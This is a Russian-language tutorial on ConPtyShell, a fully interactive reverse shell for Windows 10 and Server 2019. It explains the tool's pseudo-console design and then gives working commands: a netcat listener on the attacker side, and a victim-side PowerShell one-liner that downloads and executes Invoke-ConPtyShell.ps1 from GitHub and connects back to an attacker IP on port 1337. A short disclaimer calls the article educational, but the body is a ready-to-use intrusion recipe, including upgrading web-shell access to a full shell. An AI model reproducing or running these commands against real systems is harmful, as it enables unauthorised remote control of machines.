Reverse-shell или Бэкконнект для Windows 10

Как говорится, нет предела совершенству.

Перед началом, хочу обратить Ваше внимание на наш Дисклеймер: Данная статья написана только в образовательных целях и автор не несёт ответственности за ваши действия. Ни в коем случае не призываем читателей на совершение противозаконных действий и помнить что незнание закона не освобождает от отвественности.

В продолжении статьи по реверс шелу хотели бы показать Вам полностью интерактивный обратный шелл для Windows под названием ConPtyShell.

Внедрение Pseudo Console (ConPty) в Windows значительно улучшило способ обработки терминалов в Windows. ConPtyShell использует функцию CreatePseudoConsole () и эта функция доступна начиная с Windows 10 / Windows Server 2019 версии 1809 и выше.

ConPtyShell использует эту функцию для буквального преобразования вашего bash в удаленный PowerShell. Вкратце, он создает псевдо-консоль и присоединяет 2 канала;

Затем он создает процесс оболочки (по умолчанию powershell.exe), подключающий псевдо-консоль с перенаправленным вводом / выводом; Затем запускается 2 потока для асинхронного ввода-вывода:
— один поток для чтения из сокета и записи в канал ввода псевдо-консоли;
— второй поток для чтения из канала вывода псевдо-консоли и записи в сокет.

Требования: Сторона клиента: версия Windows> = 10/2019 1809 (сборка> = 10.0.17763) / Сторона сервера: любой слушатель типа rlwrap nc -lnvp 1337

Вариант 1:  В этом методе, размер терминала устанавливается без передачи параметров row и cols в функцию Invoke-ConPtyShell

Сторона сервера:
stty raw -echo; (stty size; cat) | nc -lvnp 1337
Сторона клиента:
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 192.168.1.1 1337
или, если вы загрузите PS1:
IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell 192.168.1.1 1337

Вариант 2:  Ручной способ. В этом случае важно установить размер строк и столбцов при вызове функции Invoke-ConPtyShell:

Сторона сервера:
stty size
nc -lvnp 1337
Wait For connection
ctrl+z
stty raw -echo
fg [ENTER]

Сторона клиента:

Здесь вы должны использовать значения, считанные из команды stty size в параметрах -Rows и -Cols

IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 1337 -Rows 24 -Cols 80

или, если вы загрузите PS1:

IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 1337 -Rows 24 -Cols 80

Изменить размер консоли

В любом случае, если вы измените размер своего терминала, когда уже открыли удаленную оболочку, вы можете изменить размер строк и столбцов непосредственно из powershell, вставив следующий код:

$width=80
$height=24
$Host.UI.RawUI.BufferSize = New-Object Management.Automation.Host.Size ($width, $height)
$Host.UI.RawUI.WindowSize = New-Object -TypeName System.Management.Automation.Host.Size -ArgumentList ($width, $height)

Дэмо

Ниже в видео вы можете посмотреть смоделированный сценарий, где на левом терминале ограниченный доступ к серверу через веб-оболочку, а справа создана полностью интерактивная обратная оболочка: